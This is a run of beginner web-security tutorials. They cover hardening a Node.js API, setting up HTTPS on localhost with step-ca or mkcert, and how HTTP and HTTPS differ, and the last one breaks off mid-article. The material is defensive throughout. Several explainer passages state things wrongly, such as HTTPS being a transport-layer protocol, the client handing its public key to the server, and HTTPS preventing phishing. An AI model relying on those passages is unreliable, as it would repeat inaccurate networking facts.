Maybe you’ve heard about SQL injection, brute force attacks, or data leaks.

But here’s the thing: it’s not just about big hacks. Even small gaps in your API can lead to big problems. And no one wants to get that “your data’s been exposed” message.

In this article, I’ll walk you through seven ways to harden your Node.js API.

These are practical tips you can apply right away. I’ll keep the code examples simple and the language even simpler. Let’s get into it.

1. Use Environment Variables

Storing sensitive data like database credentials, API keys, or JWT secrets directly in your code is risky. If your code ends up in the wrong hands, so does everything else.

Instead, store this data in a .env file and use the dotenv package to access it:

require('dotenv').config();

const dbPassword = process.env.DB_PASSWORD;

Make sure you never commit your .env file. Add it to your .gitignore file to keep it private.

2. Validate All Input

Attackers love user input.

If you don’t check what comes into your API, they’ll sneak in commands, inject code, or crash your app.

The best way to stop them is by validating every piece of input. Use a package like Joi or zod to define what your API expects:

const Joi = require('joi');

const schema = Joi.object({
  username: Joi.string().alphanum().min(3).max(30).required(),
  password: Joi.string().pattern(new RegExp('^[a-zA-Z0-9]{6,30}$')).required()
});
const { error } = schema.validate(req.body);
if (error) {
  return res.status(400).send(error.details[0].message);
}

In the above code, we have defined the exact data type the schema expects. This way, wrong data gets blocked before it reaches your logic or database.

3. Rate Limit Your Endpoints

Bots and brute force attacks work by flooding your server with requests. Once your server reaches it limit, your API will crash.

Set a limit on how often a user can hit your API using middleware like express-rate-limit Here is an example.

const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100 // limit each IP to 100 requests per windowMs
});
app.use('/api/', limiter);

The above code restricts API requests coming from an IP address to 100 per 15 minutes. This is like putting a speed bump in front of a runaway car.

4. Always Use HTTPS

HTTP sends data in plain text. That means anyone between your server and the user can read it. HTTPS encrypts everything. It’s not optional anymore.

If you’re using a platform like Heroku or Vercel, HTTPS is automatic. If you’re self-hosting, you can set it up with services like Let’s Encrypt.

Also, force HTTPS on all incoming traffic. You can use middleware like this:

app.use((req, res, next) => {
  if (req.headers['x-forwarded-proto'] !== 'https') {
    return res.redirect('https://' + req.headers.host + req.url);
  }
  next();
});

Encrypt the ride. Always.

5. Use Helmet to Secure HTTP Headers

HTTP headers are key-value pairs sent in requests and responses over the web. They give extra information about what’s being sent – like who’s sending it, what type it is, how it should be handled, and more.

HTTP headers are small, but they can be powerful tools to protect your app. Helmet is a Node.js middleware that sets secure headers for you.

const helmet = require('helmet');
app.use(helmet());

Helmet helps prevent attacks like cross-site scripting (XSS), clickjacking, and others just by setting the right headers.

One line of code, a big step up in security.

6. Sanitize Data to Prevent Injection Attacks

Injection attacks happen when you blindly trust input and plug it into a command or query.

For example, an attacker might submit a piece of text that turns into a command in your database.

You should sanitize data before it gets to any sensitive function. Libraries like express-mongo-sanitize or xss-clean help clean up malicious input.

const mongoSanitize = require('express-mongo-sanitize');
const xss = require('xss-clean');

app.use(mongoSanitize());
app.use(xss());

This strips out dangerous characters and scripts that could do real damage.

7. Use Strong Authentication and Authorisation

Authentication is about knowing who the user is, and authorisation is about what they can do. You need both, and you need them to be strong.

Use JWT (JSON Web Tokens) or sessions to manage logged-in users. Here’s a quick JWT example:

const jwt = require('jsonwebtoken');

const token = jwt.sign({ id: user._id }, process.env.JWT_SECRET, {
  expiresIn: '1h'
});

Always verify the token before letting a user access protected routes:

const decoded = jwt.verify(token, process.env.JWT_SECRET);

And don’t forget roles. A user who can view data shouldn’t be able to delete it unless they’re supposed to.

Final Thoughts

Security isn’t just a feature – it’s a habit. You can’t do everything all at once, but you can start with a few key changes.

Use environment variables. Validate your inputs. Add rate limiting. Move to HTTPS. Install Helmet. Sanitize everything. Lock down your authentication.

Each of these steps is a small lock on a big door. The more you add, the harder it is for someone to break in. So take a little time now. Your future self and your users will thank you.

For more cybersecurity tutorials, join our newsletter. To learn the basics of Offensive Cybersecurity, check out our Security Starter Course.

One of the core principles of software development involves maintaining development/production parity. But this is not always the case for developers working on localhost.

To review, dev/prod parity refers to keeping development, staging, and production environments as similar as possible to avoid encountering undetected bugs. A lack of dev/prod parity can lead to bugs that occur in one environment but that cannot be replicated and debugged in others.

So for example, if your production website runs on HTTPS, your'd want your local development site to also run on HTTPS.

"It works on my computer..." comic. Image Source

Why You Should Enable HTTPS on Your Localhost

You may be thinking, "doesn't localhost behave just like https? Isn't that why some APIs that don't work on a deployed HTTP site will work on http://localhost?"

Well, yes. For a large number of use cases, http://localhost/<yourportnumber> is just fine and behaves like an HTTPS site. But there are some cases in which it doesn't. Here are some examples of such cases:

Debugging mixed content errors: Mixed content errors occur when all the content on a page is not retrieved over HTTPS.

For example, if you use a JavaScript library from an HTTP-based CDN, everything might work as expected when you're working on localhost. But in your HTTPS-based production environment, things might be different.

On an HTTPS page, any requests to load JavaScript from an HTTP URL will be blocked by browsers. Because your local environment runs on localhost, you may be unable to spot this bug.

Testing third-party libraries or APIs that require HTTPS (for example OAuth or Instagram’s API) on local.

Or setting and testing secure cookies across browsers during local development: Securecookies are set only on HTTPS, but not on http://localhostfor all browsers.

There are other cases, as this is not an exhaustive list. But to avoid cases where things will break on http://localhost, or it won't quite behave like your production site, just use HTTPS for local development.

Now, to enable HTTPS for your local environment, you need to provision a TLS certificate for it. Let’s talk about that.

The Relationship Between HTTPS and TLS Certificates

If you already know about TLS certificates and how they enable HTTPS, or you’re solution-focused and would like to jump into action, you can skip this section and go to the next.

But if you’d like to get some background info on why TLS certificates are the key, read on.

What is HTTPS?

HTTPS is a secure extension of HTTP, the communication protocol used to deliver web pages over the internet.

HTTPS is essentially HTTP with an added layer of security provided by the Transport Layer Security (TLS) protocol. While HTTP handles the transportation of data over the internet, TLS encrypts that data to ensure its security, giving rise to HTTPS.

What is TLS?

The TLS encryption of data transfer is based upon the transmission of a TLS certificate from the web server to a client, usually the browser.

Here is how it works: when you enter a HTTPS URL that you want to visit, your browser attempts to establish a HTTPS connection with the web server hosting the file needed to serve the web page. To do that, a TLS handshake is performed.

The goal of the TLS handshake is for the browser and the web server to agree on a shared symmetric cryptographic key to be used for encrypting and decrypting messages exchanged between them. But this symmetric key needs to be exchanged in a secure manner.

Symmetric keys are a preferred cryptographic key type for encryption because they're faster to run (in the web, speed is everything). But they're riskier because there's no way to ensure or verify that a bad actor does not intercept a symmetric key in transit and claim it. Also, there's no way to verify that only the intended recipient gets the key.

This is the problem asymmetric keys come in to solve. Asymmetric keys are used to securely transmit a symmetric key between the client and server.

Illustration depicting secure communication between browser and web server

How do asymmetric keys work?

Asymmetric keys employ a pair of keys: a public key and a private key. When exchanging data, the sender uses the public key to encrypt messages, and the recipient uses their private key (which is kept private and never shared) to decrypt the message. Since the private key is kept secret, this ensures that only the intended recipient can decrypt the message.

For instance, if a server wants to securely receive a symmetric key from a browser, it creates a pair of asymmetric keys and shares the public key with the browser. The browser uses the public key to encrypt the symmetric key and send the encrypted message to the server. The server then uses its private key (which is only known to the server) to decrypt the message.

This is how asymmetric keys ensure that only the intended receiver with the corresponding private key receives the symmetric key.

But how does the web server get its public key into the browser's hands, and how can the browser be sure that the public key it received actually belongs to the web server? They can place it in a file or document, and that's what TLS certificates are for.

A TLS certificate a data file hosted in a website's origin server and contains the server’s public key, along with related information which identifies the web server.

Now, what about the problem of trust? This is where the second component of the game, which are certificate authorities, come into play.

What is a certificate authority?

A certificate authority (CA) is an entity that is trusted by both a client and server. Its primary role is to responsibly issue TLS certificates.

CAs serve as guarantors or referees. For example, if Mr. A wants to make a transaction with Mr. B, but they have no prior relationship, Mr. C, who Mr. B trusts, can vouch for Mr. B.

In this scenario, Mr. C plays the role of the CA, helping to establish trust between the client and server. TLS certificates must be signed by certificate authorities to solves the problem of trust.

Illustration showing how a certificate authority works

So a TLS certificate is a file containing a web server's public key, signed by a certificate authority to attest that the public key contained in the certificate is indeed the public key of the web server.

During the TLS handshake, the client and server use the public and private keys to exchange randomly generated data. This random data is used to create new shared symmetric keys for encryption, called session keys. And that's how HTTPS comes about.

Ok, that's enough cryptography for today. Now that you understand the basics of certificates, let's take a look at how to obtain a TLS certificate for your [localhost](<http://localhost>) server.

How to Get a TLS Certificate for Your Localhost Server

Now that you understand the role certificates play in enabling HTTPS, it's clear what we need to do to enable HTTPS for our local web server: we need to obtain a TLS certificate from a certificate authority trusted by browsers and clients on our device.

Operating systems and browsers come with a predefined list of publicly trusted CAs such as Let's Encrypt. To see the list of trusted certificate authorities on your system root trust store, if you're on a Mac, search for 'keychain access'.

But these CAs are prohibited from issuing certificates to domains on private TLDs like localhost for various reasons.

It's possible to create a self-signed TLS certificate without a CA. In this case, you'll be signing your certificate yourself and attesting to the fact that your public key is your public key.

With self-signed certificates, there's no outside authority to verify that the origin server is who it claims to be.

Browsers don't consider self-signed certificates trustworthy and may still mark sites with them as "not secure," despite the https:// URL. This is what happens with the Gatsby https flag.

Self signed certificate error on Firefox browser.

What you need do is:

1. Create your own local certificate authority
2. Get your system/environment to trust it
3. Use the CA to issue a TLS certificate for your local web server
4. Install the certificate on your web server

This may sound like a lot, yeah? The good news is that it's actually super easy and fast to do using an open-source project known as step-ca.

How to Use step-ca to Provision a TLS Certificate for Your Local Node.js Server

step-ca is an open-source certificate authority for private and internal networks.

To get started, follow these steps:

First, open your terminal. Run brew install step if you’re on a Mac to install step-ca and and accompanying CLI tool, step-cli.

step-cli is a CLI tool that is useful for interfacing and communicating with step-ca. If you’re on Windows or Linux, you can find installation instructions in the documentation.

Next, run step-init. This command creates and initialises a step-ca certificate authority server on your local machine.

Then, you’ll be prompted to select a few options as shown in the image below:

Screenshot of step-ca setup options

Let's go over them one by one:

• Deployment Type: Same as image above, go with ‘Standalone’ because you’re running the step-ca option yourself.
• What would you like to name your PKI: Change ‘Linda-PKI’ to whatever you want yours to be called.
• What DNS or IP addresses would you like to add to your new CA: This asks you to specify domain names or IP addresses you would enable your CA issue certificates to. Since this is for localhost, enter ‘localhost’.
• What IP and port would you like to bind your CA to: Asks you to specify a port that the CA server would run on.
• What would you like to name your provisioner: For the step-ca ecosystem, a provisioner is a person or entity authorised to initiate certificate issuance operations with a CA. Think f it as entering as using your email as your username to register on a platform.
• Choose a password for your CA keys and first provisioner: This is the password that will be used to authorise certificate issuance requests. Take note of your password as it will come in handy in the next steps.

After you’ve filled out all the options, you’ll get a screen like below, showing that your CA and other necessary elements have been created and ready to go.

Screenshot of step-ca success screen

Now, run step certificate install` to install the CA root certificate file into your system trust store. Replacewith your own file path from the previous step. From my example, mine would be`.

Remember how I mentioned that your certificate authority must be trusted by your browsers, and that all OS and browsers come pre-installed with trusted certificate authorities? This step adds your just-created certificate authority to that list.

After running this command, you’ll get a screen like below:

Screenshot of step-ca root certificate installation success screen

Next, run step-ca` to start the the CA server. In my examplewould be/Users/linda/.step/config/ca.json` from the third step. You’ll get a screen informing you that your CA is now running at the port you specified in the third step.

Use your CA to create a new cert and private key for your localhost server/project. Run step ca certificate <subject> <crt-file> <key-file> on your project server where:

• subject is the domain name or ip address of server you’re getting a cert for,
• crt-file is filename to write the certificate to, and
• key-file is file to write the private key to.

For my example, my command was step ca certificate localhost server.crt server.key

Screenshot of success screen for step-ca certificate and private key creation step

You'll notice that a server.crt and server.key files will be created in your project.

Finally, reference the server.crt and server.key files in the Node.js https.createServer() method for the cert and key properties, respectively, in your index.js file. This instructs the resulting Node.js server to use the certificate and private key during a TLS handshake to enable HTTPS.

Screenshot of server.crt and server.key files referenced in https.createServer function in my node.js demo project

Stop and restart your Node.js server, then navigate to your localhost URL. Your localhost should now be running on HTTPS, like below (notice the padloock sign):

Screenshot of my node.js localhost server now running on HTTPS!

Sweet!!

Last Words and Bonus Points

If you have followed this tutorial, you have successfully issued a certificate for your local Node.js project. You can use the same certificate authority (CA) to issue certificates for other projects running on different ports by following the same process.

It is important to note that by default, these certificates are only valid for one day. You have two options to extend their lifetime: either extend it when creating the certificate, using the --not-before and --not-after flag (see documentation), or run a daemon to periodically renew the certificate.

If your certificate has already expired, you can renew it manually by following the steps below:

1. Restart your step-ca instance incase the process has been closed (that is, you’ve closed the terminal somehow). Run step-ca <file-path-to-ca.json>.
2. Run step ca provisioner update linda.ikechukwu@smallstep.com --allow-renewal-after-expiry where linda.ikechukwu@smallstep.com should be your provisioner name.
3. Kill the CA server process and restart it.
4. Then run the renew command step ca renew server.crt server.key

Happy building!

We interact with HTTP and HTTPS a lot in our day-to-day lives, but many people don't know the difference.

Most computer users just see that the browser is telling them their application is not safe and that a hacker might want to steal their important information. This leads to users running away faster than Usain Bolt's current record.

But this is avoidable. That is where HTTPS comes in and replaces HTTP. And we are going to discuss that today. :)

Here's What We'll Cover:

1. What is HTTP?
2. How HTTP works
3. Features of HTTP
4. How to know if a site is not secure
5. Are all HTTP websites insecure?
6. What is HTTPS?
7. How HTTPS works
8. Features of HTTPS
9. How encryption works
10. How to know if a site is secure
11. What is an SSL certificate?
12. How does SSL work?
13. How can I get SSL for my website?
14. Where can I get an SSL certificate?
15. Can I get an SSL certificate for free?
16. The main differences between HTTPS and HTTP
17. Conclusion

What is HTTP?

Hyper Text Transfer Protocol, or HTTP, is a communication method between your browser and the site you want to visit (web server).

This allows you to get the information that you need from the server on your browser.

A good way to understand HTTP and HTTPS is by using an analogy. We know that browsers and servers communicate using HTTP. HTTP is usually in plain text. Many people around the world speak English. If a hacker who knows English hacks into your computer, they can easily see any password you input.

Here in Kenya, in my mother tongue, we speak Turkana. If you don't speak the language and you come to Kenya and find two Turkanas speaking, you may not understand what they are saying.

That's the beauty of HTTPS. It is encrypted so that the hacker hopefully doesn't understand the communication between the browser and the server.


If I was to go to http://www.google.com, I would expect to see Google's default page.


The client, which in most cases is the web browser, sends a message which in computer terms is a request. Then the server will give back an answer, which is the response.

HTTP is very useful in sending HTML documents as well as images and videos to the web browser for the user to see. It is also used to send data to the server in HTML forms.


How HTTP Works

HTTP sends data through plain text. For example, if you were to access your bank's web page and they are using HTTP, a hacker may be able to access it and read any information that you send.

This is where HTTPS comes in. Many companies have implemented HTTPS to be able to allow their users to send data securely. We'll discuss this further below.

Features of HTTP

• Plain text. Initially when HTTP was developed, developers had one thing in mind: to serve only text documents. Now, HTTP is used in more ways than it was initially intended.

• Layer 7 protocol. HTTP is a layer 7 protocol in the OSI Model of networking. Layer 7 is the application layer. This layer is the top-most layer in the OSI model. The other layers include the physical, data link, network, transport, session, and presentation layer. To learn more about the OSI model, you can check out this free video on freeCodeCamp's YouTube channel by Brian Ferrill about how the internet works. There are more cookies in the jar other than the OSI model. Computer Networking Course - Network Engineering [CompTIA Network+ Exam Prep]

• Insecure. When you send HTTP requests they are sent through plain text. Also, when you get a response, you get it through plain text. This means that anyone who can access the requests and the responses can read them. 

• Light weight. The advantage of HTTP is that it is very lightweight. It is therefore very fast since it doesn't do the encryption stuff to secure the data, like HTTPS does.
• HTTP usually listens on port 80.

How to Know if a Site is Not Secure

When a site is not secure, Chrome will usually send a warning that says Your connection is not private. 

On Chrome, the URL bar will usually show Not Secure in red if a site is not secure. 

Are All HTTP Websites Insecure?

Well, let's look at an example. Imagine you are browsing a meme website, laughing at each one as you scroll by. If it is using HTTP, then you are off the hook. It's not a big deal.

You get bored and decide to go to your bank's site to access your account on your browser. If the site is not using HTTPS, you might as well be serving your account details to a hacker on a silver plate.

So the bottom line is, if you're browsing inconsequential information, HTTP is ok. But if you are dealing with insecure information, HTTP isn't enough.

What is HTTPS?

Hyper Text Transfer Protocol Secure, or HTTPS, is a way that communication can happen SECURELY between your browser and the site you want to visit (web server).

How HTTPS Works

HTTPS makes a secure connection by using a secure protocol that encrypts your data.

For most websites, the best way to have HTTPS is by getting an SSL (Secure Sockets Layer) Certificate or a TLS (Transport Layer Security) certificate.

At the moment, SSL has become advanced enough that it supports TLS. So you don't need to get a TLS certificate.

Features of HTTPS

• Encrypts data. Data encryption happens through the TLS/SSL protocol.
• It is a layer 4 (Transport layer) protocol.
• Key exchanges of public and private keys happen in HTTPS to encypt and decrypt data.
• Compared to HTTP, is it heavier. When encrpytion and decryption happens in HTTPS, it becomes heavier.
• HTTP listens on port 443.

  How Encryption Works


Let's say I type "I am a dev". This text gets encrypted when I click send, and then it gets decrypted on the server side.

The same is also true from the server side. If I get a response from the server, it will first get encrypted, then it will get decrypted on the client side.

How to Know if a Site is Secure

To know that a site is secure, you usually look at the URL bar where you can see a lock. If there is a lock, the connection from the client to the server is secure.


When you click on the lock icon, it tells you more about the secure connection.


What is an SSL Certificate?

An SSL certificate is a little file that tells browsers that your website –for example, freecodecamp.org – is who it says it is, and that it is reliable.

In order to authenticate, the certificate is able to confirm to the client (user) that the server they are connecting to is the one that manages that domain. All this is to keep the user safe from security issues such as domain spoofing.

It contains a public key and tells you who the owner of the website is that you are trying to connect to. If a website doesn't have an SSL certificate, it cannot be encrypted with TLS.

You can personally create your own SSL certificate (also known as a self-signed certificate), if you are the website owner. The problem with this approach is that browsers like Chrome don't trust these certificates. They prefer trusting certificates that are issued by a certificate authority.

How Does SSL Encryption Work?

There are two types of SSL encryption, asymmetric and symmetric. The combination of asymmetric and symmetric is what makes SSL Encryption work. Let's look at them below to learn more.

What is asymmetric encryption?

In Asymmetric encryption, you have two keys. These are:

1. Public key.
2. Private key.


The client/user/browser gives the public key to the server with which they are communicating. Then, the encyption happens with the help of the public key, and the decryption happens with the help of the server's private key.

The private key can only be found on that particular server. No one else has it. This shows you why asymmetric encryption is stronger and tougher to hack, because it has two different keys, the private and public key. The two keys work together to make sure the data is more secure.

This also tells you why the size of this encryption is 1024/2048 bits.

What is symmetric encryption?

In symmetric encryption, it's very simple. You have one key, and that's it. The client uses one key for encryption, and the server uses the same key for decrypting the data.

Symmetric encryption is very light weight. The size is 128/256 bits. But it is a bit easier to hack into as compared to asymmetric. This doesn't mean it is not useful. When we use SSL, we combine Asymmetric and Symmetric to be able to make the communication safer and more secure.


How asymmetric + symmetric encryption work

The combination of both asymmetric and symmetric is now the double-sided wall. 

In the first step, the server will send to the browser the asymmetric public key. As we now know, the asymmetric key has both the public key and the private key. Therefore, the browser will receive the public key.

After this, the browser generates a session key.

Symmetric encryption uses only one single key for both the client and the server. So what will happen is, the browser will generate a local session key. This is a symmetric encryption session key. It will then encrypt it, with the use of the public key which is asymmetric, given in the first step. The locally generated session key will then be combined with the public key, and sent to the server.

The server will then use a private key to decrypt the encrypted session key it has received. In this particular step, the server will use asymmetric private key to decrypt the session key it has received.

Now, once the decryption has happened, the server and the browser will use the session key for communication. The session key will only be used for that specific session.

Let's say you close your browser, and maybe sign in the next day – everything starts all over again. Session keys get created again.

How Can I Get SSL for My Website?

If you are a website owner, you can acquire an SSL certificate from a certificate issuing authority.

You will then need to install the certificate on you web server where your website is hosted. Most of the time, the hosting company where you host your website handles this process for you.

Where Can I Get an SSL Certificate?

There are organizations that issue security certificates. These organizations are called certificate authorities. Some of these certificate authorities include: DigiCert, Comodo, and many others.

Many developers get certificates from these organizations. Since they are the most widely used certificate issuers, browsers usually trust certificates from these organizations.

Can I Get an SSL Certificate for Free?

Cloudflare offers SSL certificates for free. It is one of the first internet security companies to do so.

If you want to get one, you can check it out here.

What is HTTPS Used For?

HTTPS helps a lot with security. Without it, passing sensitive information becomes a big challenge especially if your business requires a secure way of communication.

Sites that accept online payments like ecommerce sites typically require HTTPS. This is to avoid information such as credit card details and login information from being stolen (Source: Tony Messer).

The Main Differences between HTTPS and HTTP

• The encryption layer is enabled in HTTPS while there is no encryption layer in HTTP.
• Your data is protected in HTTPS while in HTTP it is not.
• Your ranking is boosted in Google when you use HTTPS while with HTTP, you don't get any ranking boost.
• You are protected against phishing when you use HTTPS while there is not protection when using HTTP.
• You are compliant with the regulations of the payment industry when you use HTTPS while HTTP is non-compliant.
• Loading HTTPS in the first few seconds may be slower than loading HTTP.
• Getting SSL certificates can cost money while there is no certification costs with HTTP.
• While using HTTPS, you become buddies with Google Chrome. Google Chrome doesn't like HTTP and therefore you will always be getting unsecured site notifications.

Conclusion

HTTP and HTTPS are very important in our day to day lives as developers. The communication between the browser and the server is what fuels much the work we do.

By protecting your users' data as much as you're able so their information doesn't get stolen, you'll gain their trust and provide a better user experience.

See you soon.

In order to understand the differences, it helps to demistify to meaning of these two terms and understand how they each work.

What is HTTP?

HTTP stands for HyperText Transfer Protocol and is the foundation of the World Wide Web. Without it the Web wouldn't be what it is today.

An HTTP URL starts with http:// and has a number 80 port by default.

The HyperText part in the name means that there are documents or files involved. Those can contain text, images, graphics, videos or any other media.

In addition, they likely contain links to other documents or files for cross referencing, which you can easily access after clicking the link with a mouse or touchpad or after touching it on your phone screen.

The Transfer part in the name means the files can move over the World Wide Web from one networked device to another.

The Protocol part means that it consists of a set of computer rules that govern how devices are able to use the Internet. It also tells them how they can use the Internet as a communication medium when connected with many other devices at a distance.

HTTP is built on top of the TCP/IP network protocol suite and on top of other layers in the protocol stack.

The TCP/IP is a standardized set of rules for how browsers and servers are allowed to communicate over the Internet. After all, the World Wide Web is all about communication between browsers and servers.

Specifically, HTTP is an application layer protocol and is the primary protocol used for communication and data transfer between a web client and a web server.

In a nutshell, HTTP is a set of rules and standards for how hypertext files and all kinds of information are transfered over the web. It's how browsers and servers communicate.

A Typical HTTP Request and Response Flow

HTTP is used when browsers want to get connected to websites.

They communicate by sending HTTP requests and receiving HTTP responses. This is known as the Request - Response Cycle in a client computer - web server computing model.

The client, which is typically a web browser like Google Chrome, Mozilla Firefox, or Apple Safari, makes the request. It does this by entering a human-friendly URL (Uniform Resource Locator) like freecodecamp.org in the address bar at the top of the browser.

That domain name, freecodecamp.org, is mapped to an IP address with the help of the Domain Name System (DNS).

The web browser then gets connected to the server and makes an HTTP Request, asking for the information it needs to receive in order to load a web page.

An HTTP request can look something like this:

GET / HTTP/1.1
Host: www.freecodecamp.org

It consists of:

• An HTTP method, often referred to as an HTTP verb, like GET. This specific verb is used to get information back. Another common verb is POST, which is used when the client submits data in a form. Verbs specify the action browsers are expecting from the server.
• The path, which in our example is /, the root path. The server stores all the files that make up a website, so a request needs to specify which part the browser is requesting to load.
• The HTTP type and its version.
• The domain name of the URL.

The web server then receives the request and processes it by looking for the requested data.

A server is a computer different from the ones we use on a day-to-day basis. Its sole purpose is to store data and files and retrieve them and distribute them when requested.

The server returns a message, or HTTP Response, back to the browser.

An example of a response is: HTTP/1.1 200 OK

• It first starts with the protocol and version HTTP/1.1
• Next is the HTTP status code, a 3-digit number, which in this case is 200. It indicates wether the HTTP request was completed or not. Status codes starting with a 2 indicate success and that the request was successfully completed. Status codes starting with a 4, like 404, indicate a client side error (for example making a typo in the URL) so the page is not displayed in the browser. A status code starting with 5 means a server side error and again the page is not displayed in the browser.
• Next is the status text, human readable text, that summarizes the meaning of the status code. In this case it's "OK", meaning a successful retrieval of the requested document.

A HTTP response also includes headers that can look something like this:

date: Thu, 12 Aug 2021 12:07:16 GMT
server: cloudflare
content-type: text/html; charset=utf-8

Headers include important information about the content type sent back, such as the language, format, and when the response was sent.

Lastly, a response to a 'GET' request includes the optional HTTP body. This contains the requested information, like the HTML/CSS/JavaScript files that make up the website.

Then the browser receives the response, renders the page, and closes the connection.

Each time it needs to load a new element on a page (like different styles or images or videos) it will start a new connection and the whole process repeats again.

Limitations of HTTP

HTTP is fast because of its simplicity, but it does not provide security when data is exchanged. This is because all the data is transmitted in plain text and nothing is encrypted at all.

During the transfer, the hypertext data is broken down into 'packets', and anyone with the right tools, skills, and knowledge between the browser and server can easily view and steal the information being transmitted.

This means that usernames, passwords, and sensitive information are at risk of being accessible to attackers, while at the same time the risk of injecting viruses is high.

This means that HTTP is not a secure or private medium, resulting in users feeling unsafe.

HTTP is safe for certain sites, like blogs, but you should not submit any credit card or other personal information over an HTTP connection.

What is HTTPS?

HTTPS stands for HyperText Transfer Protocol Secure.

A HTTPS URL starts with https:// and uses a port number 443 by default.

It's not a separate protocol from HTTP, but it's the more secure and confidential version of it. It's the safest way to transfer data between a browser and a server.

Most websites nowadays use HTTPS over HTTP. So before submitting any sensitive information like logging into your bank account and making financial transactions, always make sure the site uses HTTPS.

You can tell if a site is secure and has an HTTPS connection by the lock icon on the left hand side of the address bar:

Unlike HTTP which works on the Application Layer, HTTPS works on the Transport Layer.

How Does HTTPS Work?

Each data packet sent over an HTTPS connection is encrypted and secure, using cryptographic protocols such as TLS or SSL, on top of HTTP.

Transport Layer Security (TLS), formely known as Secure Sockets Layer (SSL), is the protocol used to encrypt communications. It is the newer and more secure version of SSL.

TLS provides security against attacks, and its three main goals are authentication, privacy, and overall security.

TLS secures communications by using an asymmetric key algorithm, Public Key Infrastructure (PKI). This system uses two uniquely related keys to encrypt and decrypt sensitive information, enabling safe communication over the Internet.

Both keys are used in conjunction, and in this way TLS creates a link between sender and receiver. It makes sure both parties are identified and are really who they say they are.

First, you have the public key. It is available to view publicly and can be shared with everyone and anyone who wants to interact with the site.

This key is used to turn plain text into cipher text, to encrypt data, and acts as a lock to encrypt the data. It also confirms the owner of a private key. Distribution of public keys to browsers is done with Certificates.

Then, each public key has a unique private key and they work as a pair. You use this key to decrypt information. Data encrypted with a public key can only be decrypted by the corresponding unique private key.

It is this unique private key that unlocks the lock and decrypts the data. A private key also confirms that the information is yours. This key is kept private, stored and available only to its owner.

A secure connection is set up and certificates are exchanged before any actual data is transfered.

The client types in the URL of the webpage they want to access. The webpage's server sends over the TLS or SSL certificate that contains the public key to start the connection. The client and server go through a lot of back and forth (called a TLS/SSL handshake) until they establish a secure session.

Conclusion

In this article we learned what HTTPS is, how it works, and how it is different (and more secure) than HTTP.

To recap, HTTPS is the secure version of HTTP, the basic network protocol for sending hypertext over the web.

In HTTPS there are additional steps for security, such as TLS/SSL certificates and the TLS/SSL handshake.

It provides authentication for users and data, making sure transactions are kept private (with data integrity being a priority) without fearing a data breach during the client-server communication.

The contents of messages and transactions can only be viewed by the sender and intended recipient.

Thanks for reading!

Running HTTPS in development is helpful when you need to consume an API that is also serving requests via HTTPS.

In this article, we will be setting up HTTPS in development for our create-react-app with our own SSL certificate.

This guide is for macOS users and requires that you have [brew](https://brew.sh/) installed.

Adding HTTPS

In your package.json, update the start script to include https:

"scripts": {
    "start": "HTTPS=true react-scripts start",
    "build": "react-scripts build",
    "test": "react-scripts test",
    "eject": "react-scripts eject"
  },

Running yarn start after this step will show you this screen in your browser:

At this stage, you're already set to go with https. But you don't have a valid certificate, so your connection is assumed to be insecure.

Creating a SSL Certificate

The easiest way to obtain a certificate is via [mkcert](https://github.com/FiloSottile/mkcert).

# Install mkcert tool
brew install mkcert

# Install nss (only needed if you use Firefox)
brew install nss

# Setup mkcert on your machine (creates a CA)
mkcert -install

After running the above commands, you'll have created a certificate authority on your machine which enables you to generate certificates for all of your future projects.

From the root of your create-react-app project, you should now run:

# Create .cert directory if it doesn't exist
mkdir -p .cert

# Generate the certificate (ran from the root of this project)
mkcert -key-file ./.cert/key.pem -cert-file ./.cert/cert.pem "localhost"

We'll be storing our generated certificates in the .cert directory. These should not be committed to version control, so you should update your .gitignore to include the .cert directory.

Next, we need to update the start script again to include our newly created certificate:

  "scripts": {
    "start": "HTTPS=true SSL_CRT_FILE=./.cert/cert.pem SSL_KEY_FILE=./.cert/key.pem react-scripts start",
    "build": "react-scripts build",
    "test": "react-scripts test",
    "eject": "react-scripts eject"
  },

When you run yarn start again, you should now see that your connection is secure.

Don't be a stranger! Feel free to write if you have any questions - connect with me on Linkedin or follow me on Twitter.

What does "https" mean? What does the lock icon in your browser mean? These things are key to secure web browsing. In this article, you will learn all about secure web browsing and browser encryption.

The "S" in "HTTPS" stands for Secure. Let's first learn what HTTP" is.

What is HTTP?

HTTP (which stands for HyperText Transfer Protocol) is a network protocol. It tells web browsers how to connect to web pages and other documents across the internet. It is connectionless, which means that a new connection is made every time a browser has to load a new file or element.

If you type a website URL into your browser, the browser will send an HTTP request to the server hosting the website. The server will then send back the requested web page, sending each part (i.e. images, text, styles) separately.

There is a major problem with HTTP, however. The information transmitted using the HTTP is not encrypted at all. Anyone that knows how can watch the traffic and see all the data transmitted. That includes usernames and passwords!

HTTPS secures and encrypts the entire process.

What is HTTPS?

HTTPS (HypterText Transfer Protocal Secure) ensures secure communication between a browser and web server. It encrypts every data packet sent using either SSL or TLS encryption. Without this additional security, any information you enter into a site will be sent in plaintext and could potentially be seen by someone trying to hack your data.

TLS is newer and more secure than SSL, and is what most HTTPS sites use. TLS will make sure both parties are who they say they are. It also makes sure the data sent has not been tampered with.

TLS uses asymmetric encryption to create a link between the user and the server using private/public keys. These key are like a lock and key set. One encrypts the data with a lock and the person decrypts the data with a key.

The servers switch to symmetric encryption after the session begins because it is faster and can transmit larger amounts of data. Instead of using a public/private key, symmetric encryption uses a shared secret. It is like talking to someone in a room that no one else knows about. Since the room is secret, you don't have to worry that other people will be in the room and hear what you are talking about.

Most sites today use HTTPS instead of HTTP since there are major advantages and few disadvantages.

Before submitting any confidential information such as passwords, you should always make sure the site is using HTTPS.

Most web browsers will show a lock icon to the left of the URL to indicate the site is secure. Also, most browsers will also warn users with a 'not secure' warning in the site is not using HTTPS.

Virtual Private Networks

Even with HTTPS enabled, ISPs will still know what websites you’re visiting, even if they don’t know what you’re doing there.

And just knowing where you’re going — the “metadata” of your web activity — gives ISPs a lot of information they can sell.

So if you want to take security to the next level, consider using a Virtual Private Network (VPN). VPNs will encrypt everything, including what websites you visit. For more info on VPNs and how to set one up, check out this article by Quincy Larson.

In this article, I will walk you through how the world wide web works at a fundamental level.

The core technology is HTTP - Hypertext Transfer Protocol. It's the communication protocol you use when you browse the web.

At a fundamental level, when you visit a website, your browser makes an HTTP request to a server. Then that server responds with a resource (an image, video, or the HTML of a web page) - which your browser then displays for you.

This is HTTP's message-based model. Every HTTP interaction includes a request and a response.

By its nature, HTTP is stateless.

Stateless means that all requests are separate from each other. So each request from your browser must contain enough information on its own for the server to fulfill the request. That also means that each transaction of the message based model of HTTP is processed separately from the others.

URLs

